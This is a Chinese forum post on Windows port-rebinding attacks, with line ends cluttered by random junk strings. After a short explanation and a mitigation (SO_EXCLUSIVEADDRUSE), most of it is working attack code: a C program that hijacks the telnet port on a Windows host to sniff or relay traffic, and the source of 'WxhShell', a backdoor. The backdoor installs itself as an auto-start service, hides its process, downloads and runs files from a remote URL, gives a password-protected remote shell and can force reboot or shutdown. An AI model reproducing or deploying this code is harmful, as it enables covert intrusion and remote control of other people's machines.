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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {O"?_6',  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =Wl*.%1 b  
q$;'Fy%oy  
  saddr.sin_family = AF_INET; Tath9wlv6;  
2WA =U]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Xgy)Z:R  
A ko}v"d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =h083|y>  
e|L$e0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &I[ITp6y 0  
Tz=YSQy$9  
  这意味着什么?意味着可以进行如下的攻击: {GaQV-t  
3,snx4q (  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Wgh4DhAW  
]Tje6i F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )6S;w7  
-*?Y4}mK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pvz*(u  
tGKIJ`w*h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r "^ {?0  
NZ\aK}?~!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5 i1T?  
%^L :K5V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s$ ONht  
8e'0AI_>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g5EdW=Dt,  
m_%1I J  
  #include 5-277?  
  #include u@`)u#  
  #include + *YGsM`E9  
  #include    $z7[RLu0!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   AUloP?24  
  int main() '~-Lxvf'  
  { imx/hz!  
  WORD wVersionRequested; ~3 {C &c  
  DWORD ret; 8ycmvpJ  
  WSADATA wsaData; LhZWK^!{S  
  BOOL val; 7'[C+/:  
  SOCKADDR_IN saddr; LE_1H >  
  SOCKADDR_IN scaddr; 7Q<uk[d0  
  int err; VV(>e@Bc4  
  SOCKET s; 8gap _qTo  
  SOCKET sc; 4#5w^  
  int caddsize; k'N `5M)  
  HANDLE mt; ^n@.  
  DWORD tid;   `Z{kJMS  
  wVersionRequested = MAKEWORD( 2, 2 ); Ae,-. xJ  
  err = WSAStartup( wVersionRequested, &wsaData ); ]P TTI\n  
  if ( err != 0 ) { \TG!M]D:  
  printf("error!WSAStartup failed!\n"); 1#AdEd[  
  return -1; F|*{Ma  
  } H_'i.t 'SS  
  saddr.sin_family = AF_INET; 2,nKbE9*  
   ;lST@>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &* 4uji  
47_4`rzy;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N\<RQtDg  
  saddr.sin_port = htons(23); ^R.#n[-r2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ce{GpmW  
  { %S8e:kc6  
  printf("error!socket failed!\n"); 6Q,-ZM=Z_p  
  return -1; 1<]g7W  
  } j380=? 7  
  val = TRUE; 07"dU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q5e ,[1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v]g/ 5qI&  
  { ?;.j)  
  printf("error!setsockopt failed!\n"); l=5(5\  
  return -1; ?H7*?HV  
  } %}cGAHV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; . m_y5J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9Ot;R?>(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W|@EKE.k  
PY: l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %R5APMg1  
  { 4NL Tt K  
  ret=GetLastError(); vq *N  
  printf("error!bind failed!\n"); euM7> $`  
  return -1; 2O {@W +Mt  
  } 1TfK"\  
  listen(s,2); /-<S FT`  
  while(1) 0U]wEz*b  
  { d$s1l  
  caddsize = sizeof(scaddr); ;]?1i4p)  
  //接受连接请求 T#^   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); CU 2;m\Hc  
  if(sc!=INVALID_SOCKET) KotJ,s]B  
  { JwbC3 t):@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &R/)#NAp  
  if(mt==NULL) -UkP{x)S  
  { & |u  
  printf("Thread Creat Failed!\n"); {zBf*x  
  break; S =q.Y  
  } nnIBN4  
  } +ex@[grsGT  
  CloseHandle(mt); 9@Yk8  
  } bC?uy o"  
  closesocket(s); qSj2=dlW  
  WSACleanup(); |c,":R  
  return 0; }% JLwN  
  }   zJ7vAL  
  DWORD WINAPI ClientThread(LPVOID lpParam) @HJ&"72$<  
  { DDn@M|*$  
  SOCKET ss = (SOCKET)lpParam; 9_[TYzpB!  
  SOCKET sc; aOfL;I  
  unsigned char buf[4096]; Dna0M0   
  SOCKADDR_IN saddr; Rj9z '?a9  
  long num; ~WU _u,:  
  DWORD val; vmL% %7  
  DWORD ret; kVw5z3]Xg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :Ts"f*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cBM A.'uIL  
  saddr.sin_family = AF_INET;  ^ruS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eIK8J,-  
  saddr.sin_port = htons(23); Ojq>4=Z\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n[lf==R  
  { oEU %"  
  printf("error!socket failed!\n"); LYNd^}  
  return -1; Bp 6jF2  
  } R!;tF|]  
  val = 100;  Ek(. ["  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) esx<feP)\  
  { Jf@M>BT^A  
  ret = GetLastError(); r9 'lFj  
  return -1; 2 ]5dSXD  
  } iU{bPyz ,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Rv ?G o2  
  { ;$l!mv 7  
  ret = GetLastError(); LEvdPG$)  
  return -1; CFAz/x@%  
  } T j9;".  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #o_`$'>  
  { |_8 ::kir:  
  printf("error!socket connect failed!\n"); vC[)/w  
  closesocket(sc); 7$WO@yOsh  
  closesocket(ss); :.f =>s]  
  return -1; +r *f2\S  
  } PcC9)x  
  while(1) :X Er{X  
  { Um]>B`."wK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >/nS<y>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cW;to Q!P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E8J `7sa  
  num = recv(ss,buf,4096,0); KG)7hja<6g  
  if(num>0) zI8Q "b  
  send(sc,buf,num,0); ]=of=T:  
  else if(num==0) ;H /*%2  
  break; sguE{!BO  
  num = recv(sc,buf,4096,0); iq-n(Rfw~  
  if(num>0) ?~uTbNR  
  send(ss,buf,num,0); RzQ1Wq  
  else if(num==0) o{pQDI {R  
  break; 3]WIN_h  
  } 3&_O\nD  
  closesocket(ss); frbKi _1  
  closesocket(sc); ]24aK_Uu  
  return 0 ; 5t#+UR  
  } +'Pl?QyH  
SLpB$puS  
 wX@&Qv  
========================================================== csz/[*  
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下边附上一个代码,,WXhSHELL ]]`hnzJX  
hH[UIe  
========================================================== a_4Ny  
7)!(0.&  
#include "stdafx.h" $UavM|  
]N_(M   
#include <stdio.h> K,bv\j;f  
#include <string.h> v~e@:7d i  
#include <windows.h> )n}Wb+2I  
#include <winsock2.h> _'0HkT{I  
#include <winsvc.h> :TJv<NZi'  
#include <urlmon.h> ;E>5<[aa  
no`c[XY  
#pragma comment (lib, "Ws2_32.lib") mv|eEz)r  
#pragma comment (lib, "urlmon.lib") -;&aU;k  
oGx OJyD  
#define MAX_USER   100 // 最大客户端连接数 #y%bx<A  
#define BUF_SOCK   200 // sock buffer Gf\Dc   
#define KEY_BUFF   255 // 输入 buffer CdgZq\  
9%WUh-|'p  
#define REBOOT     0   // 重启 dqO!p6  
#define SHUTDOWN   1   // 关机 =fG c?PQ  
X> :@`}bq  
#define DEF_PORT   5000 // 监听端口 +gqtW8 6  
]J+ }WR  
#define REG_LEN     16   // 注册表键长度 {%5k1,/(  
#define SVC_LEN     80   // NT服务名长度 |ybW  
5A/8G}'XZ  
// 从dll定义API l_GvdD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VXXo\LQUU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =G3O7\KmH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?F]Yebp^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4zs1BiMG  
(G $nN*rlu  
// wxhshell配置信息 *c4uCI:0t  
struct WSCFG { R}njFQvS)  
  int ws_port;         // 监听端口 ln%xp)t  
  char ws_passstr[REG_LEN]; // 口令 a)=WDRk  
  int ws_autoins;       // 安装标记, 1=yes 0=no c;c'E&9P]  
  char ws_regname[REG_LEN]; // 注册表键名 /Y@^B,6 \  
  char ws_svcname[REG_LEN]; // 服务名 yPrp:%PS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )j(13faW|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O 4@sN=o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (e sTb,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g\;AU2?p7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H~E(~fl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zJJ KLr;  
B5h-JON]-  
}; $s<,xY 9  
q(<#7 spz  
// default Wxhshell configuration 834(kw+#9  
struct WSCFG wscfg={DEF_PORT, WGjT06a\  
    "xuhuanlingzhe", 4<._)_m  
    1, WF\ hXO  
    "Wxhshell", {Ts@#V=:  
    "Wxhshell", le*mr0a  
            "WxhShell Service", vWY}+#  
    "Wrsky Windows CmdShell Service", f"t\-ux.b  
    "Please Input Your Password: ", Li~(kw3  
  1, C{>@b:]p  
  "http://www.wrsky.com/wxhshell.exe", hNBv|&D#  
  "Wxhshell.exe" g+Vfd(e  
    }; oT2h'gu")  
amq]&.M  
// 消息定义模块 =!7k/n';  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w"d~R   
char *msg_ws_prompt="\n\r? for help\n\r#>"; [.4R ,[U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hZ|*=/3k  
char *msg_ws_ext="\n\rExit."; cmgI,n-o?  
char *msg_ws_end="\n\rQuit."; N),bhYS]  
char *msg_ws_boot="\n\rReboot..."; UMR0S5`}  
char *msg_ws_poff="\n\rShutdown..."; MMCac6;Aea  
char *msg_ws_down="\n\rSave to "; ?8[,0l:|  
p\I,P2on  
char *msg_ws_err="\n\rErr!"; cPA-EH  
char *msg_ws_ok="\n\rOK!"; )\!_`ob  
cF!ygz//  
char ExeFile[MAX_PATH]; IJHNb_Cku  
int nUser = 0; ]oB-qfbH  
HANDLE handles[MAX_USER]; ?dMyhU}  
int OsIsNt; YT\x'`>Q  
D /ysS$!{  
SERVICE_STATUS       serviceStatus; vQB;a?)o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BwtjTwd  
8 tMfh  
// 函数声明 r&sm&4)p-5  
int Install(void); 19-|.9m(  
int Uninstall(void); >qh8em  
int DownloadFile(char *sURL, SOCKET wsh); k(1]!c4J0  
int Boot(int flag); ]la8MaZ<  
void HideProc(void); =9$hZ c  
int GetOsVer(void); 2mUq$kws  
int Wxhshell(SOCKET wsl); D?;8bI%"  
void TalkWithClient(void *cs); lZoy(kdc  
int CmdShell(SOCKET sock); &}}c>]m  
int StartFromService(void); !K a!f1  
int StartWxhshell(LPSTR lpCmdLine); 8a{S*  
t\44 Pu%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9sYN7x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UjLZ!-}  
yZ?|u57  
// 数据结构和表定义 ;M{@|z[Nv  
SERVICE_TABLE_ENTRY DispatchTable[] = } LuPYCzpu  
{ IG@.WsM_  
{wscfg.ws_svcname, NTServiceMain}, L=Cm0q 3 v  
{NULL, NULL} #B7_5y^  
}; 3LXS}~&  
gC^4K9g  
// 自我安装 bxX[$q  
int Install(void) _SU%ul  
{ I*c B Ha  
  char svExeFile[MAX_PATH]; F-i`GMWC  
  HKEY key; >C,=elM  
  strcpy(svExeFile,ExeFile); pw;  
Fy1@B(V%  
// 如果是win9x系统,修改注册表设为自启动 r|!w,>.  
if(!OsIsNt) { a1V+doC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .xJW=G{/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {m1=#*  
  RegCloseKey(key); GFM $1}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .48Csc-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <>3}<i<[&  
  RegCloseKey(key); A gKG>%0  
  return 0; D)C^'/8q  
    } E/x2LYH  
  } _@U?;73"5  
} }yM /z  
else { aju!Aq54G  
rv`kP"I  
// 如果是NT以上系统,安装为系统服务 T\;7'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &YMz3ugI  
if (schSCManager!=0) [UO?L2$&  
{ 7R9S%  
  SC_HANDLE schService = CreateService Nb.AsIR^  
  ( d=<"sHO  
  schSCManager, ]ZJu  
  wscfg.ws_svcname, #H]cb#  
  wscfg.ws_svcdisp, n _G< /8  
  SERVICE_ALL_ACCESS, QcZ*dI7]:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1J8okBhZ  
  SERVICE_AUTO_START, *#ccz  
  SERVICE_ERROR_NORMAL, o`B,Pt5vu  
  svExeFile, X\X* -.]{  
  NULL, 8m? 9?OV5  
  NULL, 3yNILj  
  NULL, :U^!N8i"=  
  NULL, =`VA_xVu  
  NULL Mm7l!  
  ); &(H;Bin'  
  if (schService!=0) 0Q@ &z  
  { nCMv&{~  
  CloseServiceHandle(schService); 'FB?#C%U  
  CloseServiceHandle(schSCManager); 2-G he3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Yh`P+L  
  strcat(svExeFile,wscfg.ws_svcname); *5( h,s3&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W/*2I3a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); . J"g.Q  
  RegCloseKey(key); _D%aT6,G+(  
  return 0; ;; z4EGr  
    } }6#lE,\lM  
  } X+l &MD  
  CloseServiceHandle(schSCManager); j=U [V&T  
} rLMjN#`^  
} +5n,/YjS`  
5GD6%{\O  
return 1; r^3QDoy  
} " 9=F/o9  
#X&`gDW  
// 自我卸载 sSVgDQ~q  
int Uninstall(void) CXqU< a&  
{ @4h{#  
  HKEY key; dZnAdlJ  
"#uXpCuw  
if(!OsIsNt) { FI @!7@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sjBP#_lW  
  RegDeleteValue(key,wscfg.ws_regname); * b+ef  
  RegCloseKey(key); i7h!,vaK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 63b?-.!b  
  RegDeleteValue(key,wscfg.ws_regname); ?yKW^,q+  
  RegCloseKey(key); QdaYP  
  return 0; NABwtx>.  
  } E. @n Rj#  
} _jmkAmeu  
} d! 0p^!3  
else { Fl,(KST z  
j6wdqa9!~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GC(:}e|  
if (schSCManager!=0) ur\v[k=  
{ &Q7vY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2BA'Zu`  
  if (schService!=0) bYT,f.,5{  
  { ~m~<xtoc  
  if(DeleteService(schService)!=0) { S]^`Qy)  
  CloseServiceHandle(schService); %X(iAoxbj  
  CloseServiceHandle(schSCManager); `usX(snY  
  return 0; #biI=S  
  } :BLD &mb"Y  
  CloseServiceHandle(schService); VUF^ r7e  
  } 7~@q#]U[  
  CloseServiceHandle(schSCManager); > %5<fK2  
} )l}Gwd]h  
} -eH5s3:A  
}EB/18  
return 1; *g =ey?1S  
} -nP y?>p"|  
tHez S~t_  
// 从指定url下载文件 XV"8R"u%Q  
int DownloadFile(char *sURL, SOCKET wsh) qx3@]9  
{ #'}?.m  
  HRESULT hr; =aM(r6 C  
char seps[]= "/"; KiN8N=z  
char *token; 3z$9jN/<u  
char *file; 0fhz7\a^_<  
char myURL[MAX_PATH]; dTN[E6#R  
char myFILE[MAX_PATH]; `Paz   
8PQKB*<dB"  
strcpy(myURL,sURL); `w@8i[2J  
  token=strtok(myURL,seps); 2H7b2%  
  while(token!=NULL) X 4\  
  { $)w9EGZ  
    file=token; *3;H6   
  token=strtok(NULL,seps);  4[=vt  
  } '1|FqQ\.  
X wvH  
GetCurrentDirectory(MAX_PATH,myFILE); iYwzdW1  
strcat(myFILE, "\\"); #bN'N@|  
strcat(myFILE, file); XcfvmlBoD-  
  send(wsh,myFILE,strlen(myFILE),0); neN #Mo'A  
send(wsh,"...",3,0); < {1'cx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \.m"u14[b  
  if(hr==S_OK) 6M({T2e  
return 0; `cee tr=  
else g\;&Z  
return 1; mQ# 0c_  
<Lz/J-w  
} Tw^b!74gq  
8UY[$lc  
// 系统电源模块 W dM?{; #  
int Boot(int flag) OjVI4@E;Xe  
{ @)"= b!q=  
  HANDLE hToken; $\:;N]Cs~0  
  TOKEN_PRIVILEGES tkp; S6~&g|T,  
C t-^-XD  
  if(OsIsNt) { v/NkG;NWM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^*!Tq&Dst|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z=YHRS  
    tkp.PrivilegeCount = 1; *qM)[XO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -M{.KqyW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,OGXH2!h  
if(flag==REBOOT) { )zU bMzF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >M~wFs$~  
  return 0; 3<c_`BWu  
} M$@Donx  
else {  D`Tx,^E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VV'K$v3'N8  
  return 0; G a1B&@T  
} =\[}@Kh  
  } H_ecb;|mP  
  else { ak_&\'P  
if(flag==REBOOT) { (P=q&]l[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  ' ];|  
  return 0; #`kLU:  
} ]Ak/:pu  
else { %yr(i 6L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^p@ #  
  return 0; PG@Uygahu  
} ;ty08D/  
} o8Q+hZB}A  
 9hbn<Y  
return 1; 'h]sq {  
} -chk\75  
9/LnO'&-  
// win9x进程隐藏模块 oM<Y o%n  
void HideProc(void) iS/faXe5  
{ #KFpT__F  
Z+3j>_Ss  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _T8o]  
  if ( hKernel != NULL ) sTmY'5ry  
  { ggQBQ/ L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =Su~i Oa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dc]D 8KX  
    FreeLibrary(hKernel); T?!D?YV  
  } TmH'_t.*T~  
ZvSWIQ6  
return; J/-&Fa\(  
} n"Gow/-;  
*F_ dP  
// 获取操作系统版本 q3SYlL'a  
int GetOsVer(void) q-k~L\Ys  
{ X{-@3tG<r  
  OSVERSIONINFO winfo; @0v%5@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <E&[sQ|3  
  GetVersionEx(&winfo); Gdi8Al]\Nl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "{1SDbwmMo  
  return 1; JGZxNUr^  
  else +6i~Rx>  
  return 0; `8D)j>Yh~  
} =xf7lN'  
7?[{/`k~?  
// 客户端句柄模块 I7Uj<a=(q  
int Wxhshell(SOCKET wsl) ?J1x'/G  
{ 0r|mg::'  
  SOCKET wsh; d^.@~  
  struct sockaddr_in client; :t'*fHi~  
  DWORD myID; r6x"D3  
 n}f*>Mn  
  while(nUser<MAX_USER) !(&N{NH9  
{ 0=,vdT  
  int nSize=sizeof(client); HHZGu8tzt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y*KHr`\C4  
  if(wsh==INVALID_SOCKET) return 1; `g~T #U\>d  
6q8b>LG|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N8-!}\,  
if(handles[nUser]==0) Cnv M>]  
  closesocket(wsh); ?)2&LVrf  
else kCuIEv@  
  nUser++; U`-]U2 "  
  } MU-T>S4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o`EL)K{  
1~|o@CO  
  return 0; > ]()#z  
} :RqTbE4B  
~\ C.Nm  
// 关闭 socket |Qa[N(  
void CloseIt(SOCKET wsh) chQCl3&e^  
{ :v(fgS2\  
closesocket(wsh); zdh&,!] F6  
nUser--; cc %m0p  
ExitThread(0);  ?[`*z?}  
} `1Cg)\&[e0  
wQnW2)9!  
// 客户端请求句柄 u5LrZt]k  
void TalkWithClient(void *cs) c[n4{q1  
{ F79!B  
}r)T75_1  
  SOCKET wsh=(SOCKET)cs; B>!OW2q0D  
  char pwd[SVC_LEN]; 8=!BtMd"  
  char cmd[KEY_BUFF]; 1lf 5xm.  
char chr[1]; YgFmJ.1  
int i,j; At?]FjL6S  
m&36$>r=  
  while (nUser < MAX_USER) { <%~`!n,t0  
6n  
if(wscfg.ws_passstr) { 4)zHkN+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~53uUT|B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )T_o!/\*|*  
  //ZeroMemory(pwd,KEY_BUFF); tzKIi_2  
      i=0; 82z\^a  
  while(i<SVC_LEN) { 5Lo\[K >j  
ZjEc\{ s  
  // 设置超时 $XOs(>~"r  
  fd_set FdRead; 6H)T=Z|  
  struct timeval TimeOut; *nj={Ss&  
  FD_ZERO(&FdRead); "%~Jb dx  
  FD_SET(wsh,&FdRead); RF,[1O-\O  
  TimeOut.tv_sec=8; 9 K.B  
  TimeOut.tv_usec=0; +5>*$L%8T`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a*oqhOTQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *T+Bjj;w  
{&bjjM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .w .`1 g   
  pwd=chr[0]; ZYi."^l  
  if(chr[0]==0xd || chr[0]==0xa) { oXQzCjX_   
  pwd=0; ^^O @ [_  
  break; ?aMV{H*Q*  
  } [lmghI!  
  i++; bGO[P<<  
    } PGE|){ <  
G1vg2'A  
  // 如果是非法用户,关闭 socket Xqz\%&G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .d4L@{V  
} ~eVq Fc  
\9Z1'W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l[_ y|W5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q^|ZoJS  
+kMVl_` V  
while(1) { Q|gRBu  
h.~:UR*   
  ZeroMemory(cmd,KEY_BUFF); T@S\:P  
9}=]oX!+V  
      // 自动支持客户端 telnet标准   `[&) X  
  j=0; ]I+"";oQGB  
  while(j<KEY_BUFF) { "IjCuR;#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .w.jT"uD!  
  cmd[j]=chr[0]; MHm=X8eg  
  if(chr[0]==0xa || chr[0]==0xd) { *i=+["A  
  cmd[j]=0; Q7~9~  
  break; kzK4i!}  
  } 1;U `e4"  
  j++; P_[A  
    } T[z}^"  
iK(G t6w  
  // 下载文件 !' D1aea5  
  if(strstr(cmd,"http://")) { h0=Q.Yz6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n)n>|w_  
  if(DownloadFile(cmd,wsh)) ib3 u:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BkH- d z  
  else YV6@SXy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |9 Gng`)  
  } B5nzkJV<X  
  else { w`N|e0G@  
D)]U+Qk  
    switch(cmd[0]) { 'R{Xq HP  
  gG 9e.++:  
  // 帮助 {N \ri{|  
  case '?': { w;=fi}<G|e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~)Z MGx  
    break; DR d|m<Z  
  } $s*nh>@7  
  // 安装 *Y4[YnkPE  
  case 'i': { M;96 Wm  
    if(Install()) Rr9K1io$)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (O$PJLI  
    else )@IDmz>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ve]ufn6  
    break; AM[#AZv  
    }  .IO_&^  
  // 卸载 vM.Y/,7S  
  case 'r': { !4"!PrZDB  
    if(Uninstall()) vxey $Ir  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e%Sw(=a  
    else oCCTRLb02  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \),DW)  
    break; Y<x;-8)*  
    } '=M4 (h  
  // 显示 wxhshell 所在路径 jHU5>Gt-}  
  case 'p': { /M0A9ZT[  
    char svExeFile[MAX_PATH]; PNSV?RT*pG  
    strcpy(svExeFile,"\n\r"); $$,/F  
      strcat(svExeFile,ExeFile); 3:S>MFRn.3  
        send(wsh,svExeFile,strlen(svExeFile),0); P,QI-,  
    break; csEF^T-  
    } pX\Y:hCug  
  // 重启 8zOoVO  
  case 'b': { >Q`\|m}x)Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <hJ%]]  
    if(Boot(REBOOT)) ]c Or$O*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fcim4dfP  
    else { -msfiO  
    closesocket(wsh); l{2Y[&%  
    ExitThread(0); 2!}:h5   
    } M6j!_0j  
    break; y<h~jz#hkq  
    } ib-)T7V`  
  // 关机 oB$P6   
  case 'd': { &&Uc%vIN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =vpXYj  
    if(Boot(SHUTDOWN)) $*KM%M6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &ody[k?'  
